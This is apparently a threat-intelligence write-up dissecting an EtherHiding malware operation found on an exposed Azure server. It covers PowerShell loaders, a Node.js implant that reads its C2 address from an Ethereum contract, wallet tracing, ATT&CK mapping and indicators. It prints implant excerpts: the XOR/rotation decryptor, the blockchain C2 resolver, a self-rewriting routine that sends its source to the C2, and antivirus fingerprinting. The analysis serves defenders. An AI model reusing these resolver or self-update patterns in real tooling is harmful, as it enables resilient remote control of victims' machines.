Command and Control Hidden in the Chain: Anatomy of an EtherHiding Operation

An open directory was found on a server hosted in Microsoft Azure. It held eight files and, at first glance, looked like an ordinary post-exploitation kit built from SharpHound, WinPMem, and a handful of PowerShell loaders. The implant's C2 address, though, wasn't a domain or an IP. It lived inside an Ethereum smart contract.

A contract's transaction history sits on the blockchain permanently and in public. That made it possible to see more than just the current C2 address: every address written since the contract's creation on June 27, and which account funded the operator. The eighth file in the directory turned out to be a separate story, an unexpected trace left behind while the operator was testing its own toolset.

At a glance

• An open directory on 51.11.247[.]37 contained all eight pieces of a full Active Directory attack kit, from reconnaissance to exfiltration.
• Four polymorphic PowerShell loaders drop a Node.js implant that reads its C2 address from an Ethereum smart contract (the EtherHiding technique).
• Scanning the contract's full transaction history surfaced 24 distinct C2 domains rotated over seven weeks; 23 of them had never appeared in any public source.
• The operator account was funded 14 hours before the contract was created. The funding account's own history includes use of a no-KYC exchange and one large pass-through transfer.
• The eighth file in the directory, despite its name, has nothing to do with Rust. It's a Windows executable carrying components from AhnLab's V3 antivirus engine.

Discovery

51.11.247[.]37 belongs to Microsoft's Azure infrastructure (AS8075, France region). Only port 443 was open in the scanned range, and it wasn't running a generic service. It was serving a raw directory listing. The eight files inside covered nearly every stage of an Active Directory attack chain.

No independent port scan was run against anything beyond the staging server. Everything known about the C2 side comes from the implant's own code, which calls https:// throughout.

Being an Azure IP doesn't mean the infrastructure is clean. AS8075 hosts more than 240 malicious hosts tied to known C2 frameworks such as CobaltStrike, Sliver, Havoc, and Mythic. Abuse of cloud infrastructure here isn't an isolated find; it's part of a pattern that keeps growing.

Files 5, 6, and 7 are known, signed, or open-source tools and need no further analysis. The real substance is in the four PowerShell loaders and the second-stage implant they run.

Toolkit Attack Chain

RECON                 SharpHound        → mapping AD structure
CREDENTIAL ACCESS     WinPMem           → memory dump, credential extraction
LATERAL/PERSISTENCE   PS1 loaders       → Node.js implant + blockchain C2
EXFILTRATION          AzCopy            → bulk copy to Azure Blob Storage

All four components in the chain are legitimate tools being reused; the operator wrote none of them from scratch. The only custom code is the PowerShell loaders and the JavaScript implant they run.

Polymorphic loaders

The four PS1 files are variants of the same family and share a three-layer obfuscation scheme. Hex-encoded chunks get concatenated first, then a custom XOR/bit-rotation cipher is applied, and finally, depending on the variant, either that cipher alone or an additional AES-256-CBC layer takes over.

Each copy has a different hash, different function and variable names, and a different encryption key, consistent with a standard polymorphism approach meant to dodge signature-based detection. The fourth variant was added to the directory a few days after the first three, meaning the operation kept being developed even after discovery.

Here's the decryption function from the pure XOR/rotation variant:

function Parse-Key {
    param($p1, $p2)
    $b1 = [System.Convert]::FromBase64String($p1)  # encrypted data
    $b2 = [System.Convert]::FromBase64String($p2)  # key
    $s = 0
    for ($j = 0; $j -lt $b2.Length; $j++) { $s = ($s + $b2[$j]) -band 0xFF }
    $r = New-Object byte[] $b1.Length
    for ($i = 0; $i -lt $b1.Length; $i++) {
        $k = $b2[$i % $b2.Length]
        $rot = ($k + $i) -band 7
        $v = (($b1[$i] -shr $rot) -bor ($b1[$i] -shl (8 - $rot))) -band 0xFF
        $r[$i] = $v -bxor $k -bxor $s
        $s = ($s + $v + $k + ($i -band 0xFF)) -band 0xFF
    }
    return [System.Text.Encoding]::UTF8.GetString($r)
}

Seeding $s with the sum of the key bytes before the loop runs is missing from the version documented in known dead-drop resolver families. It's a small but functional difference, suggesting the operator adjusted the algorithm to its own needs.

EtherHiding: a C2 address on the blockchain

Decrypting any of the four loaders produces the same second-stage JavaScript implant. Its most interesting part is a resolver that reads the C2 address from an Ethereum smart contract instead of hardcoding it, a technique known in the literature as EtherHiding.

const CONTRACT_ADDRESS = "0xdf64c4d1fa017fc565e6564b117bd6ba8437953f";
const FUNCTION_SELECTOR = "0x7d434425";

async function resolveC2() {
    for (const rpc of RPC_ENDPOINTS) {           // 7 distinct, fully legitimate RPC services
        const response = await fetch(rpc, {
            method: "POST",
            body: JSON.stringify({
                jsonrpc: "2.0", method: "eth_call",
                params: [{ to: CONTRACT_ADDRESS, data: FUNCTION_SELECTOR }, "latest"],
                id: 1
            })
        });
        const data = await response.json();
        if (data.result && data.result !== "0x") return decodeHexString(data.result);
    }
    return FALLBACK_C2;
}

The idea is simple. Even if a domain or IP gets blocked, a single setString transaction to the contract points every infected machine at a new C2 address automatically. The resolution traffic itself rides on fully legitimate RPC services like Flashbots, PublicNode, and Tenderly, which makes it hard to pick out from ordinary network traffic.

The technique isn't new. Guardio Labs coined the name in late 2023, and it has since turned up repeatedly in North Korea-linked "Contagious Interview" campaigns and in the Node.js-based EtherRAT family (https://www.esentire.com/blog/etherrat-sys-info-module-c2-on-ethereum-etherhiding-target-selection-cdn-like-beacons). Google/Mandiant's tracking of UNC5142 and UNC5342 shows the technique has spread to mid-tier operators as well. The specific contract address and implant in this case, however, had never been documented anywhere before.

Inside the implant: majority voting and self-rewriting

Reading the implant's full source code surfaces two design choices worth calling out. First, it doesn't trust a single RPC for the C2 address. It queries all 7 services in parallel and uses whichever response shows up most often, a resilience layer against any one RPC returning bad or stale data:

const promises = RPC_ENDPOINTS.map(async (rpcUrl) => {
    const response = await fetch(rpcUrl, { method: 'POST', body: JSON.stringify({
        jsonrpc: '2.0', method: 'eth_call',
        params: [{ to: CONTRACT_ADDRESS, data: calldata }, 'latest'], id: 1
    })});
    const json = await response.json();
    if (json.result) results[rpcUrl] = decodeHexString(json.result);
});
await Promise.allSettled(promises);

const counts = {};
Object.values(results).forEach(url => { counts[url] = (counts[url] || 0) + 1; });
return Object.entries(counts).sort((a, b) => b[1] - a[1])[0][0];   // the most frequent answer

Second, and more striking, the implant sends its own source code to the C2 once after installation and overwrites itself on disk with whatever comes back.

const code = fs.readFileSync(scriptPath, 'utf8');
const response = await fetch(`${c2}/api/${buildHash}/${botId}`, {
    method: 'POST',
    body: JSON.stringify({ code, build: buildId })
});
const newCode = await response.text();
if (newCode && newCode.length > 100) {
    fs.writeFileSync(scriptPath, newCode, 'utf8');   // overwrite with whatever the C2 returns
    markReobfuscated();
}

Polymorphism, in other words, doesn't end at delivery; the implant can keep mutating under the C2's control indefinitely. The command channel is just as permissive. Every response from the C2 runs as an AsyncFunction with full Node.js access, including require, inside a loop that fires roughly every 500ms, giving the operator near-instant, effectively unrestricted remote code execution.

Full rotation history: 24 domains over seven weeks

The contract was created on June 27, 2026, and had taken 41 transactions by August 20, 2026, 40 of them valid setString calls writing a C2 address. The contract's full history resolves to a list of 24 unique domains.

The naming has shifted over time.

*mlcrosoft.westus: the "i" in "Microsoft" is swapped for an "l".

Every domain follows the pattern [theme].[Azure region].cloudapp[.]azure.com, spread across regions from Chile to Norway, South Africa to Australia, East Asia to several US states. A geographic spread this wide doesn't look hand-managed. It's more likely a script generating a fresh region/theme combination at each rotation.

Twenty-three of the domains on this list had never surfaced in any public source before; only the most recently used one, synctime.australiaeast, was already known.

Decoding the contract's full transaction history produces the chain below. The first row is the contract creation transaction; the remaining 40 are each a setString call.

Following the wallet

Ethereum has two kinds of accounts, an EOA (Externally-Owned Account) controlled by a private key, and a Contract Account controlled by its own code and unable to initiate transactions. The C2 contract is a Contract Account. The operator account that writes to it, along with every other address discussed below, is an EOA.

The operator account (0x977928...) received 0.005 ETH from another EOA 14 hours before the contract was created, consistent with topping up a disposable operational account with gas money. That funding account's own history shows two notable moves, a 247 ETH (~$625,000) transaction that changed hands within roughly 100 minutes about 3.5 months before the campaign, and a small deposit into FixedFloat, a no-KYC crypto swap service. Some caution is warranted here, because value is fungible on Ethereum, so there's no on-chain proof that these funds came from the same source that later paid the operator. These observations only describe the funding account's general behavior.

No outflow to a known exchange was observed from the operator account. Total inbound funding amounted to a few dollars, nearly all of which went to gas fees across the 41 transactions.

An unexpected guest: an antivirus engine

The eighth file in the directory, rust-streamer3-windows-x64.exe, is a 30 MB Windows executable with nothing to do with Rust despite its name. Its PE header and internal strings reveal the following:

• PDB path: ...\VSAPI\...\vsapi64\...\atse64_2019.pdb
• Internal string constants: ATSE64.dll, VSAPI, ATSE_deepscan, AtseAggressiveLevel
• Version resource: Copyright (C) 2025 Trend Micro Incorporated

VSAPI and ATSE (AhnLab Trusted Scan Engine) are known internal component names from AhnLab's (South Korea) V3 antivirus engine. The Trend Micro copyright looks contradictory at first, but it's already known that some of Trend Micro's multi-engine products embed AhnLab's ATSE under license. The file itself isn't registered anywhere public, including VirusTotal.

The most likely explanation is that the operator tests its own tooling, the polymorphic loaders in particular, against an AV engine locally before deployment, probably one popular in South Korea. That alone isn't proof of attribution, but it adds moderate-confidence support to the hypothesis of TTP overlap with North Korea-linked Contagious Interview campaigns.

This interest in AV doesn't look like a coincidence. One of the tasks the implant downloads fingerprints whatever antivirus is running on the victim's machine and reports it back to the C2.

if (isWindows) {
    const av = execSync(
        'powershell -Command "(Get-CimInstance -Namespace root/SecurityCenter2 ' +
        '-ClassName AntivirusProduct).displayName -join \', \'"'
    ).trim();
} else {
    const knownAV = ['clamd', 'sophos', 'avast', 'eset', 'kaspersky', 'comodo'];
    const found = knownAV.filter(name => runningProcesses.includes(name));
}

The same module deletes itself and stops running if the system language matches Russian, Belarusian, Kazakh, or a few other CIS languages, a pattern that rules out the CIS region and turns up often enough across toolkits of very different origins.

Tactics and techniques

Mapping the full chain against MITRE ATT&CK yields 19 confirmed techniques; the one unconfirmed entry is just an assumed initial-access vector (phishing).

target 51.11.247[.]37period 27 Jun to 20 Aug 2026confirmed 19unconfirmed 1

Initial Access

• T1566Phishing

Execution

• T1059.001PowerShell
• T1059.007JavaScript node.exe
• T1204.002User Execution: Malicious File

Persistence

• T1053.005Scheduled Task
• T1547.001Registry Run Key

Defense Evasion

• T1027Obfuscated Files or Information
• T1027.013Encrypted or Encoded File XOR and rotation
• T1140Deobfuscate or Decode Files
• T1036.005Match Legitimate Name
• T1218System Binary Proxy Execution

Discovery

• T1087Account Discovery SharpHound
• T1082System Information Discovery

Credential Access

• T1003OS Credential Dumping WinPMem

Collection

• T1560Archive Collected Data

Command and Control

• T1102Web Service EtherHiding
• T1071.001Web Protocols eth_call JSON-RPC
• T1573Encrypted Channel

Exfiltration

• T1567Exfiltration Over Web Service
• T1537Transfer Data to Cloud Account azcopy

Confirmed from analysisSuspected, not confirmed

Detection and defense

Takeaways

The blockchain side has been quiet since August 20, seven days without a new setString transaction. The file server, though, was updated at least twice over the same stretch, adding a new polymorphic loader and a previously unseen executable. The contract address stays fixed while everything around it (the fallback domain, the build ID, the persistence name) changes with each new build.

Classic IOC blocking (IP, domain, hash) still works here, but the technique is already primed for its next rotation. At the same time, the same permanence that makes blockchain records public and unchangeable cuts against the operator too. Seven weeks of activity, funding pattern included, could be reconstructed retroactively in full.

IOC list

File hashes (SHA-256):

Build ID and reobfuscation endpoint per variant:

The SYS_INFO task module uses a separate exfil pattern: {C2}/api/47cc8b0d/{botID}/s.json?token=.

---

The findings in this post rest on public blockchain data and analysis of files found in a publicly exposed directory. Because blockchain-based C2 addresses can be updated instantly, the addresses listed here were valid at the time of writing.